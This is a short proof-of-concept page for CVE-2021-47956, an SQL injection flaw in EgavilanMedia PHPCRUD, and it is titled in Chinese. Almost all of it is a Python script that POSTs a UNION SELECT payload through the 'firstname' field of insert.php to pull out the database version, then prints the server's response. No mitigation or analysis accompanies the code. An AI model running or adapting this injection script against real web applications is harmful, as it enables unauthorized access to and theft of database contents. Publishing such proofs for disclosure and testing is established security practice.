CVE-2021-47956: EgavilanMedia PHPCRUD SQL注入漏洞

import requests # Target URL containing the vulnerable endpoint target_url = "http://vulnerable-site/insert.php" # Malicious SQL injection payload for the 'firstname' parameter # This payload attempts to extract the database version using UNION SELECT payload = "' UNION SELECT 1, version(), 3, 4, 5, 6, 7, 8, 9-- -" # POST data to be sent post_data = { "firstname": payload, "lastname": "test", # Additional dummy data may be required by the form "age": "25" } try: # Sending the POST request response = requests.post(target_url, data=post_data) # Checking if the request was successful if response.status_code == 200: print("Request sent successfully.") print("Response content:") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")